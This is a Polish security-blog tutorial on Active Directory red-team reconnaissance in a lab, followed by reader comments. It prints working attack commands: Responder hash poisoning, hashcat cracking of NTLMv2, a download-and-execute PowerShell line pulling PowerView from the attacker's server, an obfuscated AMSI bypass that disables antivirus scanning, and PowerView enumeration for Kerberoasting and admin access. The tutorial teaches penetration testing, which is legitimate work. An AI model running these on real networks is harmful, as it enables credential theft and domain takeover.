Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
Wstęp do bezpieczeństwa Active Directory – rekonesans z PowerView
System Windows jest zdecydowanie najpopularniejszym systemem operacyjnym na świecie – m.in. z uwagi na łatwość jego użytkowania, wysoką dostępność gier, a także w miarę intuicyjny i prosty (w porównaniu do innych systemów) sposób organizacji sieci dzięki możliwości utworzenia domeny, podpinania do niej nowych komputerów i użytkowników, a następnie zarządzania nimi.
Aktualnie na świecie znajduje się ponad 1,3 miliarda urządzeń z zainstalowanym systemem Windows 10 (https://news.microsoft.com/bythenumbers/en/windowsdevices), a jego popularność sprawia, że jest on na celowniku wielu badaczy bezpieczeństwa (nie tylko tych działających etycznie). Jako że w większości firm przez pracowników wykorzystywane są stacje robocze z systemem Windows podpięte do domeny, jej analizowanie – z punktu widzenia badaczy – może być bardzo opłacalne. Na przykład zdobycie dostępu do konta będącego w grupie administratorów domeny czasami może oznaczać przejęcie całej sieci – złożonej nawet z kilku tysięcy komputerów.
Co będziemy robić?
Sprawdzanie bezpieczeństwa domeny Windows jest często konieczne podczas testów znanych pod nazwą red teaming, dlatego w dalszej części artykułu powierzchownie omówimy etapy takiego testu oraz zapoznamy się z jednym z narzędzi, utworzonym z myślą o rekonesansie prowadzonym w obrębie domeny. Spróbujemy wyciągnąć przydatne dane o obiektach Active Directory, które będą mogły nam pomóc w przeprowadzeniu dalszych ataków i osiągnięciu ostatecznego celu, czyli – w przypadku domeny AD – uzyskaniu dostępu do kontrolera domeny z uprawnieniami administracyjnymi.
Podstawowe pojęcia
Red teaming – w skrócie: jest to sposób testowania bezpieczeństwa organizacji z wykorzystaniem wszystkich technik, jakie są dostępne dla prawdziwych atakujących. Testy takie zazwyczaj są nastawione na weryfikację możliwości osiągnięcia konkretnego celu, takiego jak przykładowo kradzież danych (np. kodu źródłowego, baz danych).
Wiele ciekawych taktyk dotyczących red teamingu można znaleźć na stronie MITRE – https://attack.mitre.org/matrices/enterprise/.
Active Directory (AD) – to oprogramowanie działające na zasadzie bazy danych, którego głównym zadaniem jest ustrukturyzowanie i zarządzanie relacjami między obiektami w domenie.
Kontroler domeny (DC) – jest to serwer służący do zarządzania domeną. W dużych sieciach może być ich kilka.
Obiekty – mogą nimi być np.: użytkownicy, serwery, stacje robocze, polityki grupy (GPO) itd.
NTLMv2 – jest to protokół typu challenge-response wykorzystywany do uwierzytelniania w systemach Windows.
Etapy red teamingu
- Rekonesans i zdobycie przyczółka w sieci
Uzyskanie dostępu do maszyny użytkownika domenowego, przykładowo w konsekwencji złamania hasła użytkownika (złamanie hasha NTLMv2, np. zdobytego z wykorzystaniem narzędzia Responder lub w wyniku ataku brute force, np. przy użyciu narzędzia CrackMapExec) w przypadku przebywania w atakowanej sieci lokalnej czy też zdalnie, np. w wyniku skutecznego ataku phishingowego. W tym miejscu warto zadbać o zapewnienie sobie utrzymania dostępu do maszyny (ang. persistence).
- Podniesienie uprawnień – rekonesans – eksploitacja – analiza danych
Dobrą praktyką po uzyskaniu dostępu do maszyny w sieci jest próba podniesienia uprawnień do administracyjnych lub systemowych. Wysokie uprawnienia pozwalają na zarządzanie oprogramowaniem antywirusowym, dostęp do całego systemu plików, a także umożliwiają pozyskanie hashy/haseł z pamięci systemu (np. za pomocą meterpreterowego polecenia hashdump, narzędzia Mimikatz czy też secretsdump.py).
Po zbadaniu systemu i przeprowadzeniu rekonesansu przychodzi czas na próby przejmowania następnych maszyn w sieci i wydobywania z nich kolejnych danych.
Kroki wymienione w tym podpunkcie wykonywane są do skutku, czyli zrealizowania celu testu.
- Eksfiltracja danych
Aby przejąć dane zidentyfikowane podczas testu, należy je przesłać do kontrolowanego przez nas serwera. Choć w przypadku etycznych ataków przeprowadzanych na zlecenie taka eksfiltracja nie powinna mieć miejsca (może narazić to firmę np. na wyciek), to warto wiedzieć o istnieniu tego etapu i zapoznać się np. z eksfiltracją danych przez DNS.
Poniżej przedstawiony został obrazek prezentujący cykl życia opisanych etapów:
Warsztat
Oto krótkie omówienie środowiska, narzędzi, skryptów i poleceń, z których będziemy korzystać w tym opracowaniu:
- Laboratorium: w moim przypadku będzie to mały lab z kilkoma „prawdziwymi” wirtualnymi maszynami z systemem Windows oraz sporo obiektów (komputerów, użytkowników) utworzonych za pomocą zautomatyzowanego skryptu BadBlood. Do atakowania wykorzystywana będzie maszyna z systemem ParrotOS.
- Responder: poisoner odpowiadający na zapytania takie jak: LLMNR, NBT-NS i MDNS. W wyniku przesyłania „zatrutych” odpowiedzi komputer lub użytkownik może próbować uwierzytelnić się w złośliwej usłudze udostępnionej przez Respondera i tym samym przesłać skróty haseł (w dzisiejszych czasach przeważnie będzie to NTLMv2).
- Hashcat: przedstawiany wielokrotnie na łamach Sekuraka i szkoleń na kanale YT SekurakTV program służący do odzyskiwania haseł.
- FreeRDP: program służący do połączeń zdalnych z wykorzystaniem protokołu RDP. Często używanym zamiennikiem jest program rdesktop, lecz nie wspiera on domyślnie łączenia się z maszynami, które wymagają NLA (Network Level Authentication).
- AMSI bypass: Antimalware Scan Interface to stworzony przez Microsoft mechanizm, którego zadaniem jest skanowanie m.in. skryptów PowerShell, makr VBA i innych skryptów uruchamianych w środowisku Windows Scripting Host. Uniemożliwia to (przez aktualnie wykorzystywany program antywirusowy – może to być inny od Windows Defendera, obsługujący AMSI API, antywirus) uruchomienie uważanego za złośliwe oprogramowania. Jak to zawsze bywa z zabezpieczeniami tego typu, dość szybko po ich wydaniu badacze przyglądają się im, a następnie obnażają ich luki – tak jest i w tym przypadku. W opracowaniu wykorzystamy jedno z obejść AMSI z następującej listy: https://gist.github.com/reigningshells/a255fcca07465befbcbf4be9cdf67560.
Więcej informacji: https://pentestlaboratories.com/2021/05/17/amsi-bypass-methods/.
- PowerView: moduł PowerShell wchodzący w skład niewspieranego już projektu PowerSploit. Za jego pomocą wydobędziemy wiele cennych informacji o domenie.
Praktyka
Punkt początkowy to sytuacja, w której dysponujemy maszyną z systemem operacyjnym ParrotOS wpiętą do atakowanej sieci lokalnej. Zaczniemy od przykładowego sposobu na uzyskanie konta użytkownika domenowego. W tym celu uruchamiamy narzędzie Responder z myślą o przejmowaniu skrótów haseł (NTLMv2) użytkowników przebywających w sieci, przykładowo następującym poleceniem:
responder -I eth0 -wrf
Zakładamy, że po pewnym czasie od uruchomienia narzędzia użytkownik jdoe przebywający w sieci próbował odwołać się do nieistniejącego zasobu sieciowego \\datasrv. W konsekwencji Responder podszył się pod ww. zasób, a system Windows podjął automatyczną próbę uwierzytelnienia użytkownika w złośliwej usłudze, co skutkowało przesłaniem hasha NTLMv2 użytkownika:
Teraz spróbujemy odzyskać hasło ze zdobytego hasha – do akcji wkracza hashcat.
Przechwycone przez Respondera hashe domyślnie zapisywane są w katalogu /usr/share/responder/logs, tak więc przechodzimy do tego katalogu, lokalizujemy plik z hashem
i uruchamiamy hashcata w trybie ataku maskowego, wykorzystując odpowiedni dla hashy NTLMv2 tryb “5600”:
cd /usr/share/responder/logs
ls
hashcat -a 3 -m 5600 SMB-NTLMv2-SSP-10.0.1.47.txt “Sekurak?a?a?a?a?a” -i
Po chwili hasło zostaje odzyskane:
Następnie możemy spróbować połączyć się ze zdalną maszyną Windows przez protokół RDP, wykorzystując zdobyte dane uwierzytelniające:
xfreerdp /u:jdoe /d:SEKURAK /v:10.0.1.47
Po wpisaniu hasła zostajemy zalogowani na maszynie. Uruchamiamy konsolę PowerShell i sprawdzamy, czy użytkownik jdoe należy do grupy lokalnych administratorów:
net localgroup Administrators
Niestety, okazuje się, że użytkownika nie ma na liście lokalnych administratorów. W tym miejscu można by szukać wektorów eskalacji uprawnień, lecz nie jest to tematem niniejszego artykułu,
a do przeprowadzenia rekonesansu domeny wystarczy zwykłe konto domenowe.
Przechodzimy więc do rekonesansu, do którego wykorzystamy skrypt PowerView. Aby załadować skrypt, udostępniamy go z poziomu maszyny służącej do ataku, np. wykorzystując prosty serwer webowy (python -m http.server 80) i w otwartej wcześniej konsoli PowerShell wpisujemy polecenie służące do pobrania oraz uruchomienia skryptu z zewnętrznego serwera:
iex (new-object net.webclient).downloadstring(‘http://10.0.1.73/PowerView.ps1’)
Jak widać na powyższym zrzucie ekranowym, wykonanie skryptu zostało zablokowane dzięki mechanizmowi AMSI oraz oprogramowaniu antywirusowemu (w tym przypadku – Windows Defender). Aby oszukać mechanizm skanowania AMSI, wykorzystamy technikę New AMSI bypass obfuscation udostępnioną w repozytorium użytkownika reigningshells (link w sekcji „Warsztat”):
[ReF].”`A$(echo sse)`mB$(echo L)`Y”.”g`E$(echo tty)p`E”(( „Sy{3}ana{1}ut{4}ti{2}{0}ils” -f’iUt’,’gement.A’,”on.Am`s”,’stem.M’,’oma’) ).”$(echo ge)`Tf`i$(echo El)D”((„{0}{2}ni{1}iled” -f’am’,’tFa’,”`siI”),(„{2}ubl{0}`,{1}{0}” -f 'ic’,’Stat’,’NonP’)).”$(echo Se)t`Va$(echo LUE)”($(),$(1 -eq 1))
Nie zagłębiając się w szczegóły powyższego ominięcia AMSI, zobaczmy, jak działa w praktyce:
Okazuje się, że po zastosowaniu techniki obejścia AMSI skrypt został uruchomiony pomyślnie.
Czas teraz zapoznać się z niektórymi z poleceń (cmdlet) udostępnianych przez moduł PowerView:
Get-NetComputer – pobiera informacje na temat komputerów w sieci:
Jeśli chcemy otrzymać więcej danych niż same nazwy domenowe komputerów, możemy zastosować parametr -FullData:
Get-NetUser – zwraca informacje o użytkownikach w domenie. Może zwracać bardzo dużo danych, ale wyniki można ograniczyć do wybrania wyłącznie interesujących nas atrybutów, np. przekierowując wynik do polecenia select:
W celu ograniczenia ilości zwracanych danych można również zastosować filtr, wykorzystując parametr -Filter oraz format zapytania odpowiedni dla zapytań LDAP:
Dzięki uruchomieniu polecenia z parametrem -SPN zwróceni zostaną użytkownicy mający ustawiony Service Principal Name dla swoich kont, co może umożliwić wykonanie ataku Kerberoasting:
Kolejnym przydatnym parametrem dostępnym w większości poleceń PowerView jest -OutVariable. Umożliwia ono tymczasowe wyeksportowanie danych do zmiennej, np.:
Get-NetUser -SPN -OutVariable SPNUsers
Od teraz wynik polecenia Get-NetUser -SPN przechowywany będzie w zmiennej SPNUsers:
Get-NetDomainController – zwraca informacje o kontrolerze domeny:
Get-NetForestDomain – pobiera informacje o lesie domen (ang. domain forest), czyli logicznej strukturze, jeśli w sieci znajduje się więcej niż jedna domena:
Get-NetOU – pobiera i zwraca jednostki organizacyjne utworzone w domenie:
Get-NetGroup – pobiera i zwraca grupy w domenie:
Tak samo jak w przypadku poprzednich poleceń, możemy wykorzystać parametr -FullData i uzyskać więcej informacji na temat interesującej nas grupy:
Uruchomienie polecenia z parametrem -AdminCount spowoduje zwrócenie wyłącznie grup administracyjnych:
Get-NetGroupMember – zwraca użytkowników należących do grupy o nazwie przekazanej w parametrze -GroupName (lub bez parametru, podając nazwę grupy bezpośrednio):
Get-NetLoggedon – zwraca użytkowników zalogowanych na lokalnej lub zdalnej maszynie:
Get-LastLoggedon – zwraca informacje o ostatnio zalogowanych użytkownikach na maszynie docelowej:
Get-DomainPolicy – zwraca informacje o politykach domenowych. Aby otrzymać więcej informacji, możemy odwołać się do konkretnego atrybutu. Na przykład w celu uzyskania informacji o polityce haseł odwołamy się do atrybutu “System Access”:
Get-ObjectAcl – polecenie to służy do wydobycia informacji o uprawnieniach np. użytkownika do innych obiektów w Active Directory:
Oprócz selecta kolejnym ułatwiającym życie poleceniem PowerShell jest Where-Object, które może być używane za pomocą skróconej wersji ?{ }.
Dzięki Where-Object możemy w prosty sposób przeprowadzić dość zaawansowane filtrowanie – jeśli przekierujemy do niego obiekty, możemy za jego pomocą zwrócić wyłącznie te, których atrybuty mają konkretną wartość, np. w poniższym przykładzie zwrócone zostały tylko te obiekty, których atrybuty ActiveDirectoryRights odpowiadały wartości GenericAll ($_ jest w tym przypadku zmienną oznaczającą przekazany obiekt):
Find-LocalAdminAccess – wyszukuje komputery, na których aktualny użytkownik posiada lokalne uprawnienia administracyjne:
Jak widać, użytkownik jdoe ma uprawnienia administracyjne na komputerze corpsrv02.sekurak.local.
Podobny efekt można osiągnąć dzięki połączeniu poleceń: Get-NetComputer, ForEach-Object (%{ }) oraz Invoke-CheckLocalAdminAccess:
Get-NetComputer | %{Invoke-CheckLocalAdminAccess -ComputerName $_}
Invoke-ShareFinder – wyszukuje dostępne w sieci udziały:
W dużych sieciach warto ograniczyć wyniki tylko do „niestandardowych” udziałów dzięki parametrowi -ExcludeStandard:
Invoke-FileFinder – zwraca pliki znalezione w udziałach sieciowych. Wyniki można ograniczyć do konkretnego komputera:
Find-InterestingFile – wyszukuje pliki i katalogi, które mogą być potencjalnie interesujące. Jest to określane na podstawie słów kluczowych w nazwie; domyślnie są to m.in. słowa takie jak: login, cred, admin. Słowa kluczowe można wybrać samemu, przekazując je do parametru -SearchTerms:
Zakończenie
Szczegółowy rekonesans sieci niejednokrotnie potrafi wykazać wiele potencjalnych problemów z jej bezpieczeństwem, a nakład pracy wcale nie musi być duży. Warto dorzucić do swojego arsenału narzędzie PowerView, szczególnie gdy jesteśmy administratorami sieci lub osobami zainteresowanymi bezpieczeństwem bardzo często spotykanej w dzisiejszych czasach domeny złożonej z systemów Windows.
Marcin Mol, w Securitum realizuje testy bezpieczeństwa systemów dla firm.
No to teraz oczywiście płatny wykład jak się przed tym zabezpieczyć….
Ja wiem? Mamy trochę bezpłatnych materiałów tego typu. Np. tutaj niedawno Grzesiek Tworek opowiadał o różnych cudach dookoła windows security: https://www.youtube.com/watch?v=jF7x9BXZbBE
Jest coś złego w zarabianiu na swojej wiedzy?
„po pewnym czasie od uruchomienia narzędzia użytkownik jdoe przebywający w sieci próbował odwołać się do nieistniejącego zasobu sieciowego \\datasrv”
Nie łapię: dlaczego spróbował? Został jakoś nakłoniony? Jak?
Akurat w tym przykladzie tak zalozyl autor tekstu dla uproszczenia. Odwolanie sie do nieistniejacego zasobu, spowodowalo wykonanie zapytania mdns/llmnr/nbnts o nazwe hosta, w tym przypadku „datasrv”. Jesli uzytkownik wpisalby poprawna nazwe hosta, to ta pewnie byla juz w pamieci podrecznej. Wowczas zapytanie by nie zostalo wykonane i atak by sie nie powiodl. Tak po prostu dziala Responder. Nasluchuje na zadania i jesli jakies dostanie (to sa zadania multicastowe, wiec okreslona gruba hostow w sieci je otrzymuje, rowniez te, ktore teoretycznie nie powinny), to je zatrówa, czyli pod nazwe szukanego hosta (w tym przypadku datasrv), podstawia swoje IP. To powoduje ze ofiara wysyla zapytanie (np SMB) do respondera, a on tym samym przejmuje hash ( polecam poczytac jak dziala uwierzytelnienie NTLMv2 ).
Hej, Od strony bezpieczeństwa, co bezpieczniejsze, samba czy Windows AD?
Dzięki i pozdr.